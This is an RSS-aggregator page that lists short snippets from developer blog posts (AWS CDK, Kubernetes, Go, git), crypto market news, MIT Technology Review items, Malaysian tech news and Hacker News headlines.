    I recently contributed to the AWS Cloud Development Kit (CDK) by implementing External ID support for AwsCustomResource, a feature that enhances security for cross-account AWS operations. The pull request #35252 was merged into the main branch after a comprehensive review process, addressing a critical security gap identified in issue #34018. This article walks through the problem, the solution, and the engineering decisions that went into this contribution. The Problem: Confused Deputy Attacks Consider this scenario: Your Lambda function assumes a role in Account B using sts:AssumeRole An attacker discovers your function's configuration The attacker creates their own resource that tricks your function into assuming a role in their account instead Your function unknowingly performs operati…  ( 10 min )
    Beyond Scheduling: How Kubernetes Uses QoS, Priority, and Scoring to Keep Your Cluster Balanced
    When every Pod screams for CPU and memory, who decides who lives, who waits, and who gets evicted? Kubernetes isn't just a scheduler — it's a negotiator of fairness and efficiency. This article unpacks how Quality of Service (QoS), Priority Classes, Preemption, and Bin-Packing Scoring come together to keep your cluster stable and fair. ⚙️ The Challenge: Competing Workloads in Shared Clusters When multiple workloads share cluster resources, conflicts are inevitable: High-traffic apps starve lower workloads. Batch jobs hog memory. Pods without limits cause unpredictable evictions. Kubernetes addresses this by applying a layered decision-making model — QoS, Priority, Preemption, and Scoring. 🧭 QoS (Quality of Service): Who Gets Evicted First Each Pod belongs to a QoS class based on CPU and m…  ( 7 min )
    Restoring files with git
    git restore --source=main -- path/to/fileA.js  ( 6 min )
    Best Primer For Miniatures, The Confident Choice For Perfect Coverage
    Primer is the foundation that decides how every colour sits, blends, and lasts. Choose the best primer for miniatures and your paint glides, details stay crisp, and varnish protection holds up. Choose badly and you fight chalky texture, clogged recesses, and flaky adhesion. This guide explains types of primer, how they behave on different materials, what colours to pick, and the environmental factors that make or break a smooth coat. If you are looking for practical miniature priming tips, want to understand how a Warhammer model primer behaves on plastic, resin, and metal, and you need a simple checklist to avoid grainy results, you are in the right place. Why Primer Quality Affects Every Stage Of Painting Primer does three vital jobs. It grips the miniature so colour coats do not rub o…  ( 10 min )
    Introduction to GO Programming
    Table of Contents Introduction Go Software Enable dependency tracking for your code Go is an open-source programming language developed by Google It was designed at Google in 2007 by Robert Griesemer,and Ken Thompson, and publicly announced in November 2009. It is syntactically similar to C, but also has garbage collection, structural typing It is often referred to as Golang to avoid ambiguity and because of its former domain name, golang.org, but its proper name is Go the gopher : The Go gopher was created by renowned illustrator Renee French. It has become a beloved mascot for the Go brand. The Gopher is a reminder of the approachability and fun that comes with the Go brand and language. Go to the go website and then click on the download button Go can be installed in multiple Operating systems and information given below Its a straight forward installation, just keep click next to complete the installation. Try the below command in the software folder go mod init example/hello go: creating new go.mod: module example/hello Create a file hello.go file package main import "fmt" func main() { fmt.Println("Hello, World!") } Run your code to see the greeting. go run . Hello, World! References: https://en.wikipedia.org/wiki/Go_(programming_language) https://go.dev/  ( 6 min )
    dev diary 20251119
    ideation for web app i generated the ideas for web app with Miro stickies. the Several ideas are written. notes to add revision with red color. notes without thinking integration automatically data analysis, multi step thinking with AI i already built the pipe line to develop full stack app with aws amplify. and as the next step, i wanna prepare basic CRUD function as template for general usage. and i made it. https://github.com/hirookakazuya/20251119_app] each dev folder have storage of 1.2GB and the most of it is in node_modules folder. as chatAI information, this node_module folder can be deleted and restored again with install npm when i use it. i didn't try it. now i' using the cursor. but the limitation of monthly use come. i study which tool i should select for code assistant. for basic use for dev, free ai chat bot is enough like chatGPT, Gemini. in these tool, i don't care about the limitation.  ( 6 min )
    Cool Features in AWS CloudFormation
    AWS CloudFormation is an AWS tool that lets you create and manage cloud resources using code instead of clicking around the console. You describe everything you want - like EC2 instances, S3 buckets, IAM roles, VPCs — in a template file (YAML or JSON), and CloudFormation reads that template and automatically provisions, updates, or deletes those resources for you as a single stack. This makes your infrastructure repeatable, version-controlled, and easier to manage, because you can deploy the same setup to multiple environments (dev, test, prod) with minimal changes, roll back if something fails, and track all infrastructure changes just like you do with application code. Recently, there has been number of improvements in CloudFormation making it much easier to manage infrastructure resourc…  ( 8 min )
    Real-time Metrics and Ring Balance: A Major TUI Upgrade for LimeDB
    Github: namanvashistha/limedb This commit significantly enhances the Text-based User Interface (TUI) for LimeDB, our lightweight, fast, open-source distributed key-value store. The focus is on providing developers with immediate, actionable insights into cluster health and data distribution. Real-time Node Metrics: ClusterStatus widget in the TUI now displays crucial operational metrics for each LimeDB node. These include: CPU Usage: Percentage of system CPU being utilized by the node process. Memory Usage: Amount of JVM memory consumed by the node. Uptime: How long the node process has been running. Latency: Round-trip time to communicate with the node. Why this matters: This provides a quick overview of individual node health, helping identify bottlenecks or unresponsive instance…  ( 7 min )
    The Stochastic Shift: When Your Creative Toolbox Becomes a Slot Machine
    I remember the predictable rhythm of the Dreamweaver era. Firing up Photoshop, I'd mock up a pristine website layout, slice buttons and images, then export everything into HTML tables or early CSS floats. My process was predictable, my costs quantifiable. A client needed a landing page? "$500," I'd quote. That was 10 hours of design and code at $50/hour, minus a prorated slice of my Adobe subscription. Boom. A local coffee shop needed a brochure site. I'd sketch wireframes on paper (yes, actual paper!), scan them, build the PSD, and meticulously slice the hero image into top/middle/bottom for that stretchy background hack. The equation was simple: Time × Skill = Output. Fast forward to today, and that clean equation has shattered. My workflow now involves prompting Midjourney for a lo…  ( 7 min )
    🌐 NAT Behind the Scenes: How Your Host and Virtual Machine Share the Internet
    https://medium.com/@natarajanck2/nat-explained-simply-how-network-address-translation-works-in-pcs-and-virtual-machines-a633bb82a016  ( 6 min )
    Day 1270 : Wednesday
    liner notes: Professional : Pretty good day. Had a few meetings. I responded to some community questions. Spent some time trying to work out some GitHub workflows that I didn't set up. haha It's part of a project I was involved with another person. I worked on the front end application that created the artifact that would then be sent to GitHub and that would kick off some tasks that the person I was working with created to get my artifact ready to be deployed to a platform. Well, the platform is no longer a viable option, so I'm working on refactoring everything to stay of GitHub and use Codespaces instead. The person I worked on this with is no longer at the company, but luckily we did a walk through of everything we worked on and recorded it. I watched it and went through some code to try and jog my memory and also think about how I can make this work. Personal : Last night, instead of coding (I think I was tired from work) I created another version of a 3D model that I've been wanting to remake. I learned some new things in Tinkercad and it helped me accomplish what I wanted. I think I'm going to do some coding. Go through tracks from Bandcamp and for the radio show. How is it Wednesday already?! Pretty much it. Going to eat dinner and get to work. Have a great night! peace piece https://dwane.io / https://HIPHOPandCODE.com  ( 7 min )
    The shift toward agentic development
    Some thoughts on where software engineering is heading Over the past two years, software development has changed in ways that feel significant. These are patterns I'm noticing both in my own work and across the industry. I've been using AI coding tools in personal projects for over two years. The evolution has been clear. It started with copying code from ChatGPT and pasting it into an IDE. Then came tab completion with Cursor and GitHub Copilot, which was helpful but not transformative. The real shift happened when Cursor introduced agentic capabilities, before Copilot had similar features. More recently, I got access to IBM Bob at work, which resembles Cursor 1.X and GitHub Copilot in approach. Most recently, Claude Code with its predominantly agentic workflow has reinforced what seems t…  ( 14 min )
  • Open

    Tether’s Gold Hoard Surges to 116 Tons, Rivals Small Central Banks
    Jefferies said that stablecoin giant Tether has quietly become one of the gold market’s most influential new buyers.  ( 35 min )
    Bitcoin Sell-Off Led by Mid-Cycle Wallets While Long-Term Whales Hold Firm: VanEck
    VanEck says bitcoin’s downturn is being driven by mid-cycle wallets while the oldest holders keep accumulating, with futures data showing washed-out market conditions.  ( 35 min )
    Crypto Lobbyists Pitching Trump on Getting Things Done During Congress' Uncertainty
    Industry groups signed a letter to President Donald Trump calling for new tax policy and agency action on initiatives apart from Congress' market structure work.  ( 35 min )
    Kalshi Raises $1B at $11B Valuation as Prediction Market Race Continues: TechCrunch
    The CFTC-regulated exchange is gaining ground on crypto-native Polymarket, offering event contracts with fiat access and legal clarity.  ( 34 min )
    Anthony Scaramucci-Backed AVAX One Approves $40M Stock Buyback
    Digital asset treasury firms are increasingly turning to share buybacks to arrest plunging stock prices as investor demand sours.  ( 33 min )
    Trump's CFTC Pick, Mike Selig, Clears Hurdle on Way Toward Confirmation Vote
    The day after his confirmation hearing, the Senate Agriculture Committee made a quick vote to push Mike Selig toward the overall Senate for a final vote.  ( 34 min )
    Crypto Exchange Ripio Reveals $100M Crypto Treasury, Second Largest in Latin America
    The company's holdings, which include bitcoin and ether, have been managed through trading and hedging strategies since 2017.  ( 32 min )
    Ray Dalio Still Owns Bitcoin, but Says Traceability and Quantum Threat Are Concerns
    The billionaire founder of hedge fund Bridgewater believes Bitcoin faces major hurdles before it can become a global reserve currency.  ( 34 min )
    HBAR Faces Fresh Liquidity Alarms After Breakdown to $0.1373
    Hedera’s token slipped below key support levels as a late-session trading halt, collapsing volume, and failed recovery attempts point to mounting structural and liquidity stress.  ( 35 min )
    ICP Breaks Below Key Support as Volume Surges at Resistance Test
    Heavy trading activity during a failed rebound attempt pushed ICP into a tighter consolidation zone below $4.95, reinforcing short-term downside risk.  ( 33 min )
    The Rise of Crypto Treasuries: How One Bet Sparked a Corporate Shift
    Michael Saylor’s 2020 move turned idle cash into crypto. Now, firms from healthcare to tech are following the playbook, with mixed results.  ( 37 min )
    Bitcoin's Nvidia-Led Gains Prove Short-Lived, With Price Slumping Back to $88K
    U.S. stocks are also giving up a major early advance, with the Nasdaq now ahead just 0.3%.  ( 33 min )
    BONK Holds Range as Heavy Volume Marks Key Support Retest
    The Solana memecoin stayed locked in a wide consolidation band, with surging volume confirming both a resistance rejection and subsequent recovery.  ( 33 min )
    Ethereum’s Fusaka Upgrade Signals New Era for Value Accrual: Fidelity Digital Assets
    The upgrade marks a sharper strategic turn for the blockchain, aligning protocol development with economic intent and strengthening the case for ether.  ( 34 min )
    What Next For XRP as Bitcoin Loses $90,000 Level Again
    Institutional activity declined significantly, and the market remains pressured by Bitcoin's weak structure and ETF outflows.  ( 36 min )
    Kraken’s IPO Play: Why the Crypto Exchange Is Racing Toward the Public Markets
    The exchange’s confidential filing comes amid clearer regulatory signals, a market pullback and a wave of crypto firms testing public markets.  ( 34 min )
    Crypto for Advisors: Crypto Indices Explained
    Crypto indices and key metrics explained: How index design — from asset selection to weighting and rebalancing — defines trust, transparency, and product viability.  ( 37 min )
    Core Foundation Wins Injunction Against Maple Finance on Alleged Confidentiality Breach
    The Grand Court of the Cayman Islands granted the injunction against Maple Finance completing its own liquid staking token syrupBTC.  ( 33 min )
    Solana ETFs Post Second-Biggest November Inflows as Demand Grows During Downturn
    Spot SOL exchange-traded funds extended an inflow streak since they began trading on Oct. 28 while bitcoin and ether ETFs bled hundreds of millions of dollars.  ( 33 min )
    Securitize Leverages Plume to Expand Global Real-World Asset Reach
    Securitize partners with Plume to launch institutional-grade assets on Plume's Nest staking protocol, expanding its DeFi footprint.  ( 35 min )
    Tether Invests in LatAm Crypto Infrastructure Firm Parfin to Boost USDT Among Institutions
    The investment is part of Tether’s broader push to expand stablecoin settlement and tokenization tools among institutions across Latin America, the firm said.  ( 33 min )
    Ether Treasury Firm FG Nexus Unloads Nearly 11K ETH to Fund Share Buyback
    The action comes just a couple of weeks after fellow ETH treasury firm ETHZilla sold $40 million of tokens to fund its own share buybacks.  ( 33 min )
    Cipher Mining Inks New 10-Year HPC Deal With Fluidstack; Shares Rise 13%
    The expansion adds 56 MW at Barber Lake and secures $830 million in contracted revenue, reinforced by increased Google backing.  ( 34 min )
    CoinDesk 20 Performance Update: Aptos (APT) Gains 10% as All Index Constituents Rise
    Polygon (POL) was also a top performer, up 7.9% from Wednesday.  ( 31 min )
    World App Starts Virtual Bank Accounts Pilot for USDC Payroll Deposits
    The feature issues unique virtual account numbers, allowing users to receive direct deposits, like payroll payments, straight into the World App.  ( 34 min )
    U.S. Added Stronger Than Forecast 119K Jobs in September, but Unemployment Rate Rose to 4.4%
    The September jobs report typically would have been published in the first week of October, but was delayed till now due to the government shutdown.  ( 34 min )
    B. Riley Cuts Digital Asset Treasury Company Price Targets as Crypto Slump Deepens
    The investment bank slashed price targets across so-called Datcos, citing sector-wide pressure and weaker accumulation trends.  ( 35 min )
    Metaplanet Unveils New Bitcoin Backed Capital Structure with $150M Perpetual Preferred Offering
    MARS and MERCURY preferred shares define a two tier equity stack as Metaplanet raises new capital.  ( 35 min )
    JPMorgan Warns MSCI Decision Could Force Strategy Out of Top Equity Indices
    The bank said billions in passive flows could unwind if MSCI removes Strategy from major equity benchmarks, heightening pressure on the bitcoin-levered firm.  ( 34 min )
    Seller Fatigue?: Crypto Daybook Americas
    Your day-ahead look for Nov. 20, 2025  ( 40 min )
    AI and HPC Bitcoin Miners Surge Pre Market Following Stellar NVIDIA Earnings
    Strong NVIDIA guidance lifts pre market sentiment across bitcoin miners while NAKA delivers delayed Q3 losses.  ( 34 min )
    Crypto Markets Today: Bitcoin Holds Steady Amid Wave of Sell Pressure as Altcoins Slide
    A long-term BTC holder moved hundreds of millions to exchanges, but the market absorbed the supply shock as altcoins suffered broad declines.  ( 36 min )
    Abu Dhabi Investment Tripled IBIT Holdings in Q3 as Bitcoin Headed to Record High
    The company sees bitcoin as a store of value, similar to gold, a spokesperson told Bloomberg.  ( 33 min )
    Ark Invest Buys the Slide, Adds Almost $40M of Crypto Stocks, as Market Drops
    Cathie Wood's investment manager added to its holdings of Bullish (BLSH), Circle Internet (CRCL) and Bitmine (BMNR) as all three companies' stock prices fell.  ( 32 min )
    BlackRock Takes First Step Toward a Staked Ether ETF
    A new Delaware filing for the iShares Staked Ethereum Trust signals BlackRock’s intent to enter the yield-bearing ether market as issuers wait for SEC clarity on staking.  ( 32 min )
    Fed December Rate Cut Odds Collapse to 30%
    The probability of the Federal Reserve cutting interest rates has decreased significantly, now standing at 30%.  ( 33 min )
    Privacy-Focused Aztec Network's Ignition Chain Lights Up on Ethereum
    Aztec Network launched its Ignition Chain, becoming the first fully decentralized Layer 2 protocol on Ethereum's mainnet.  ( 33 min )
    India's Debt-Backed ARC Token Eyes Tentative Q1 2026 Debut, Sources Say
    The ARC will operate within a two-tier framework, complementing the RBI's Central Bank Digital Currency.  ( 34 min )
    Dogecoin Hits Multi-Month Lows as Exchange Flows Turn Bullish for First Time in 6 Months
    Leader in cryptocurrency, Bitcoin, Ethereum, XRP, blockchain, DeFi, digital finance and Web 3.0 news with analysis, video and live price updates.  ( 36 min )
    XRP Slumps as $2.15 Level Collapses, Bearish Structure Deepens
    Despite no major catalysts, broader crypto market weakness and Bitcoin's 'Death Cross' contributed to XRP's decline.  ( 35 min )
    Asia Morning Briefing: Market Turns Defensive as Bitcoin Loses Its Bid
    With CryptoQuant flagging an exhausted demand wave and Polymarket traders clustering around an 85,000 retest, the market is trading without the catalysts that drove last year’s gains.  ( 34 min )
  • Open

    Roundtables: Surviving the New Age of Conspiracies
    Everything is a conspiracy theory now. MIT Technology Review’s series, “The New Conspiracy Age,” explores how this moment is changing science and technology. Watch a discussion with our editors and Mike Rothschild, journalist and conspiracy theory expert, about how we can make sense of them all. Speakers: Amanda Silverman, Editor, Features & Investigations; Niall Firth,…  ( 16 min )
    Designing digital resilience in the agentic AI era
    Digital resilience—the ability to prevent, withstand, and recover from digital disruptions—has long been a strategic priority for enterprises. With the rise of agentic AI, the urgency for robust resilience is greater than ever. Agentic AI represents a new generation of autonomous systems capable of proactive planning, reasoning, and executing tasks with minimal human intervention. As…  ( 24 min )
    The Download: what’s next for electricity, and living in the conspiracy age
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. Three things to know about the future of electricity The International Energy Agency recently released the latest version of the World Energy Outlook, the annual report that takes stock of the current state…  ( 21 min )
    Three things to know about the future of electricity
    One of the dominant storylines I’ve been following through 2025 is electricity—where and how demand is going up, how much it costs, and how this all intersects with that topic everyone is talking about: AI. Last week, the International Energy Agency released the latest version of the World Energy Outlook, the annual report that takes…  ( 20 min )
  • Open

    TM Issues Statement Regarding NG MERS 999 Issues
    Telekom Malaysia (TM) has issued a statement, addressing complaints surrounding the failures of its Next Generation Emergency Response Services 999, or NG MERS 999 in short. Malaysia upgraded the 17-year-old MERS999 platform because it had reached its technical limits and could no longer support the country’s evolving emergency requirements. NG MERS 999 was introduced to […] The post TM Issues Statement Regarding NG MERS 999 Issues appeared first on Lowyat.NET.  ( 36 min )
    Maxis Launches Yearly Upgrade Programme For iPhone Customers
    Upgrading to a new iPhone every single year is a baffling habit, but if you’ve got the cash to burn, who’s stopping you? For everyone else who’s a little more careful with their money yet still feels oddly tempted to keep up with the annual cycle, Maxis now has something that might make that decision […] The post Maxis Launches Yearly Upgrade Programme For iPhone Customers appeared first on Lowyat.NET.  ( 36 min )
    Porsche Debuts Fully Electric Cayenne With A Dual-Variant Lineup
    Porsche has unveiled the highly anticipated fully electric Cayenne, expanding the SUV’s powertrain lineup with two variants: the Cayenne Electric and the Cayenne Turbo Electric. Both models feature an all-wheel-drive system. In terms of design, the Cayenne EV sports slim Matrix LED headlights that are horizontally oriented and slightly rounded at the edges. The front […] The post Porsche Debuts Fully Electric Cayenne With A Dual-Variant Lineup appeared first on Lowyat.NET.  ( 37 min )
    Johor Data Centres Told To Postpone Expansions Until 2027
    As Malaysia continues to advance its AI aspirations, Johor has rapidly grown into a data centre hub. However, such developments do not come without a price. According to a report by the South China Morning Post, state officials have asked investors to temporarily halt water-cooled expansion projects for at least 18 months, or until mid […] The post Johor Data Centres Told To Postpone Expansions Until 2027 appeared first on Lowyat.NET.  ( 33 min )
    Alleged AMD Ryzen AI 9 HX 470 “Gorgon Point” Leaks
    A recent SiSoftware ranker confirms that AMD’s next Ryzen Mobile series entry, codename Gorgon Point, will be officially called the Ryzen AI 9 HX 370. The entry also confirms that the red CPU and GPU maker is sticking to the same naming convention as the CPU’s predecessor. Specs-wise, the HX 470 is virtually the same […] The post Alleged AMD Ryzen AI 9 HX 470 “Gorgon Point” Leaks appeared first on Lowyat.NET.  ( 34 min )
    The Echo Aviation Controller Has A Full Set Of Flight Controls
    If you’ve ever looked at a controller and thought that what it really needs is a full set of flight controls, then Honeycomb Aeronautical has got you covered. The company specialises in accessories like flight sticks and pedals, so clearly the next logical step is to pack those controls into a compact gamepad. Enter the […] The post The Echo Aviation Controller Has A Full Set Of Flight Controls appeared first on Lowyat.NET.  ( 34 min )
    Japanese Court Orders Cloudflare To Pay RM13.3 Million To Publishers Over Manga Piracy
    Oh Cloudflare. Just when you think the online service provider and web host can take a breather, it gets another problem slapped right into its face. This time, it’s an order by the Japanese courts to pay restitution to several Japanese publishers for hosting manga piracy sites. The Tokyo District Court ordered Cloudflare to pay […] The post Japanese Court Orders Cloudflare To Pay RM13.3 Million To Publishers Over Manga Piracy appeared first on Lowyat.NET.  ( 35 min )
    Fujifilm instax mini LiPlay+ Lands In Malaysia; Priced At RM938
    Last month, Fujifilm unveiled the instax mini LiPlay+, succeeding the mini LiPlay. Following the initial announcement, the brand has officially brought its latest hybrid instant camera to our shores. Like the preceding model, the mini LiPlay+ doubles as a smartphone printer. Beyond that, it comes with some upgrades, including a new selfie-taking capability. As a […] The post Fujifilm instax mini LiPlay+ Lands In Malaysia; Priced At RM938 appeared first on Lowyat.NET.  ( 35 min )
    Samsung Galaxy Glasses Details Revealed Ahead Of 2026 Unveiling
    If you’ve kept up with Samsung, then you might have heard that the company plans to launch its very own smart glasses sometime in 2025. But seeing how the year is almost over, we won’t be seeing it until 2026. Be that as it may, Samsung has disclosed several details about the wearable ahead of […] The post Samsung Galaxy Glasses Details Revealed Ahead Of 2026 Unveiling appeared first on Lowyat.NET.  ( 35 min )
    TQ Wuling Bingo Now Available For Booking In Malaysia
    The upcoming TQ Wuling Bingo is now open for booking, just days after the fully electric (EV) hatchback received its updated specifications. As per the automaker’s official website, both the Pro and Max variants can be reserved with a booking fee of RM50. Customers can also choose their preferred colour during the booking process. The […] The post TQ Wuling Bingo Now Available For Booking In Malaysia appeared first on Lowyat.NET.  ( 34 min )
    Japanese Researchers Have Developed GPU-Powered, Room-Sized ANC Technology
    Japanese researchers at NTT Laboratories have reportedly developed what they are calling the “world’s first spatial active noise control (spatial ANC) technology. While the technology isn’t new, its application in this context can fill a room, literally. NTT Laboratories says it achieved the spatial ANC by using a general purpose GPU, or GPGPU. “This technology […] The post Japanese Researchers Have Developed GPU-Powered, Room-Sized ANC Technology appeared first on Lowyat.NET.  ( 34 min )
    U Mobile Expands ULTRA5G In Bangi, Putrajaya, And PJ New Town
    U Mobile has rolled out its ULTRA5G network to three more major areas in the Klang Valley, bringing the next-generation 5G coverage to Bangi, Putrajaya, and Petaling Jaya New Town. Customers can now access the telco’s enhanced 5G experience throughout these entire townships, with supported devices displaying the “UM ULTRA5G” network name whenever the service […] The post U Mobile Expands ULTRA5G In Bangi, Putrajaya, And PJ New Town appeared first on Lowyat.NET.  ( 35 min )
    Lepas Malaysia Confirms L8 SUV As First Model For 2026 Launch
    Lepas Malaysia has confirmed its debut in the local market in the first half of 2026. Recently, during a Media Connection Session, the company confirmed that its first model for the Malaysian market will be the L8 SUV. As previously highlighted, the SUV showcases sharp, angular LED daytime running lights, vertically stacked LED headlights set […] The post Lepas Malaysia Confirms L8 SUV As First Model For 2026 Launch appeared first on Lowyat.NET.  ( 34 min )
    HONOR Robot Phone Makes First Physical Appearance In China
    HONOR’s intriguing “Robot Phone” has made an appearance during the brand’s HONOR User Carnival in China. Initially revealed just partially via numerous teasers, the device is finally shown in all of its glory to visitors of the event. In case you missed our prior coverage, what makes the HONOR Robot Phone unique is its three-axis […] The post HONOR Robot Phone Makes First Physical Appearance In China appeared first on Lowyat.NET.  ( 34 min )
    TikTok To Let Users Limit AI Content Appearing In Their Feeds
    TikTok is preparing to give users more control over how much AI-generated content appears in their feeds. The company confirmed that a new AI content control toggle will arrive soon in the Manage Topics section, offering a slider that adjusts the amount of AI content shown in the For You feed. This sits alongside existing […] The post TikTok To Let Users Limit AI Content Appearing In Their Feeds appeared first on Lowyat.NET.  ( 33 min )

  • Open

    CornHub
    Comments  ( 1 min )
    Tailscale Down
    Comments  ( 5 min )
    The patent office is about to make bad patents untouchable
    Comments  ( 9 min )
    It's your fault my laptop knows where I am
    Comments  ( 7 min )
    Roblox Requires Age Checks for Communication, Ushering in New Safety Standard
    Comments  ( 10 min )
    Screw it, I'm installing Linux
    Comments  ( 35 min )
    I built an faster Notion in Rust
    Comments  ( 6 min )
    How Slide Rules Work
    Comments  ( 73 min )
    Rethinking C++: Architecture, Concepts, and Responsibility
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    Researchers discover security vulnerability in WhatsApp
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  • Open

    Stablecoin Spending Goes Mainstream With Opera MiniPay’s LatAm Integration
    The feature connects USDT balances to PIX and Mercado Pago, enabling users to pay with QR codes and converting to local currency instantly.  ( 33 min )
    Samourai Wallet Co-Founder Bill Hill Sentenced to 4 Years in Prison for Unlicensed Money Transmitting
    The 67-year-old Hill’s recent autism diagnosis, as well as his advanced age, seemed to serve as mitigating factors for the sentencing judge.  ( 36 min )
    Nvidia Earnings Beat, Strong Outlook Calm Jittery Markets; Bitcoin Re-Takes $90K
    "Blackwell sales are off the charts, and cloud GPUs are sold out," said Nvidia CEO Jensen Huang.  ( 33 min )
    DeFi Giant Spark Shelves Crypto App Plans to Focus on Institutional Infrastructure
    The protocol will instead focus on "liquidity infrastructure and deals" such as its recent $1 billion investment into PayPal's PYUSD.  ( 33 min )
    Trump's Pick to Run CFTC, Selig, Tells Senators Crypto a 'Critical Mission' at Agency
    Mike Selig, the nominee to be the next chairman of the Commodity Futures Trading Commission, testified at his confirmation hearing in the Senate.  ( 36 min )
    Fed Rate Cut Odds Plunge Further on Jobs Data Delays
    Traders slash chances of a December cut to 33% as the Fed loses a key data point ahead of its final 2025 meeting.  ( 35 min )
    New Hampshire Awaits Bitcoin Bond Buyer to Get First State Effort Rolling
    The New Hampshire Business Finance Authority took the opening steps toward shepherding a potential $100 million private-sector bitcoin bond.  ( 34 min )
    Crypto Leverage Hits Record High in Q3 as DeFi Dominance Reshapes Market Structure: Galaxy
    Onchain lending drove crypto-collateralized debt to a new peak in last quarter, but the leverage underpinning the market is now better collateralized than during the previous cycle.  ( 35 min )
    AI Agents Need Identity and Zero-Knowledge Proofs Are the Solution
    ZKPs could become the backbone of a new era of trusted AI and digital identity, giving individuals and organizations a way to interact safely and transparently across platforms and borders, argues Evin McMullen, CEO and co-founder of Billions Network.  ( 39 min )
    Bitcoin Slips Back Below $90K — Crypto Correction Now Ranks Among Worst Since 2017, K33 Says
    After a rare spot of outperformance on Tuesday, bitcoin has resumed sliding, with one analyst eyeing $84,000–$86,000 as potential local bottom.
    Stella's XLM Token Breaks Key $0.25 Support as Altcoins Suffer Continued Drawdown
    Technical breakdown gains momentum as institutional selling accelerates through overnight session.
    Coinbase Debuts DEX Trading in Brazil as ‘Everything App’ Vision Grows
    The move comes amid new regulations from Brazil's central bank, requiring crypto firms to be licensed and report international transactions.
    HBAR Slides 0.5% to $0.146 as Technical Support Crumbles
    Hedera's native token breaks key levels on elevated volume. Institutional distribution patterns intensify selling pressure.
    ICP Softens as Failed Breakout Above $5.17 Shifts Market Back Into Consolidation
    A surge in trading activity at key resistance levels marked the exhaustion of Monday’s rally, sending ICP back toward its short-term support band.
    BONK Extends Slide as Key Support Break Raises Prospect of Further Downside
    BONK slipped beneath a key support level amid a sharp rise in trading activity, with intraday charts now pointing toward a fragile short-term structure.
    Crypto Long & Short: Licences, Liquidity and the Shifting Geography of Exchange Quality
    In this week’s Crypto Long & Short Newsletter, Joshua de Vos shares insights from a recent Benchmark report on how the exchange landscape is maturing and becoming more execution-focused, but increasingly uneven as regional licensing diverges, liquidity fragments, and transparency advances inconsistently. Then, we take a look at where the digital assets market may be headed in the final weeks of 2025 with Andy Baehr’s “Vibe Check."
    Senate Banking Panel Advances FDIC's Travis Hill for Wider Confirmation Vote
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    The Protocol: Hyperliquid Introduces Proposal to Cut Fees
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    Winklevoss-Backed Cypherpunk Buys $18M More Zcash, Bringing Holdings to $150M
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    Crypto ETFs Enter Maturity Phase as IRS and SEC Actions Drive Rapid Expansion of Products
    Staking guidance, broader listing standards and new index tools show how crypto ETFs are becoming core holdings.
    CoinDesk 20 Performance Update: Index Declines 2.7% as All Constituents Trade Lower
    Bitcoin Cash (BCH) fell 7% and Ripple (XRP) dropped 4.7%, leading the index lower.
    Bullish Swings to Profit in Third Quarter After Adding Options, U.S. Spot Trading
    Shares of the company rose 2% in pre-market trading.
    Banks' Capital Rules When Holding Crypto Need to Be Reworked, Says Basel Chair: FT
    Erik Thedéen said a different approach is needed as the U.S. and U.K. refused to implement the rules already set out.
    Apex Group Said to Buy Broker Dealer Globacap for U.S. Tokenization Push
    London-based Globacap’s U.S. broker-dealer and alternative trading system (ATS) is regulated by FINRA and the SEC.
    Bitcoin Market Watch: Nvidia Earnings, Fed Minutes and Payrolls to Set The Tone
    Investors navigate AI driven volatility, rate cut uncertainty and critical economic data releases.
    Hanging in There: Crypto Daybook Americas
    Your day-ahead look for Nov. 19, 2025
    Crypto Markets Today: Altcoins Show Signs of Life as Bitcoin Holds Key Support Above $88K
    With bitcoin stabilizing near critical support, traders shifted into altcoins, sparking sharp rebounds across a market still gripped by extreme fear.
    BlackRock's Bitcoin ETF, IBIT, Posts Record One-Day Outflow of $523.2 Million
    The average spot bitcoin ETF buyer sits near a $90,000 cost basis, leaving most investors roughly flat.
    Hyperliquid Unveils HIP-3 Growth Mode, Slashing Fees by 90% to Boost New Markets
    Hyperliquid has launched HIP-3 growth mode, allowing permissionless market deployment with significantly reduced fees to enhance liquidity.
    SafePal Brings Hyperliquid Perpetuals to Wallet in Major DeFi Push
    The wallet provider is deepening its bet on decentralized derivatives trading with a three-part integration.
    DeFi Insurance Alternative Nexus Mutual Integrates Restaking Specialist Symbiotic
    A new class of Symbiotic underwriting vaults will create a reinsurance layer to help scale Nexus Mutual.
  • Open

    The Tool I Finally Built to Escape My Terminal Chaos
    There was a stretch of days where my terminal tabs felt like they were slowly multiplying behind my back. I’d open a new project “just to try something,” hop into a client repo to fix a bug, jump into another folder because I remembered I needed to update something “real quick,” then spin up yet another experimental idea at 1 a.m. before bed. Suddenly I had four different terminals open, each running something important, each shouting logs at me, and absolutely no memory of which script belonged to which project. And honestly? But eventually I realized a pattern: managing coding. I wanted one place, a calm little command center, where I could see all my projects, what scripts they had, what was running, what wasn’t, and what was broken. No more guessing. No more hunting. No more “oh cool, …  ( 8 min )
    Day 16 : Rest
    Nothing much to mention today, I just wanted to take some rest! Youtube videos are lot of confusing, if you have any ideas or suggestions on how to learn this, please help me out! Django #WebDevelopment #Python #LearningInPublic #100DaysOfCode #BeginnerDev #postgresql  ( 6 min )
    Why Business Central’s Standard Scheduling Isn’t Enough for Complex Production Planning
    Manufacturers using Microsoft Dynamics 365 Business Central know that production scheduling can quickly become complicated. The built-in tools handle basic scheduling, but when multiple work centers, machine constraints, and shifting priorities come into play, things get complex. Below are three common questions users ask when schedules look good on-screen but fall apart on the shop floor. Business Central’s standard scheduling uses backward scheduling and assumes infinite capacity. The system works backward from a due date to suggest a start date, often setting production to begin in the past. Machines and work centers appear to have unlimited hours, leading to overloaded schedules no team could realistically execute. Production managers spend hours manually moving tasks, adjusting timeli…  ( 7 min )
    Why Business Central’s Standard Scheduling Isn’t Enough for Complex Production Planning
    Manufacturers using Microsoft Dynamics 365 Business Central know that production scheduling can quickly become complicated. The built-in tools handle basic scheduling, but when multiple work centers, machine constraints, and shifting priorities come into play, things get complex. Below are three common questions users ask when schedules look good on-screen but fall apart on the shop floor. Business Central’s standard scheduling uses backward scheduling and assumes infinite capacity. The system works backward from a due date to suggest a start date, often setting production to begin in the past. Machines and work centers appear to have unlimited hours, leading to overloaded schedules no team could realistically execute. Production managers spend hours manually moving tasks, adjusting timeli…  ( 7 min )
    Testing the Pioneer DDJ-FLX10: First Impressions from a Working DJ
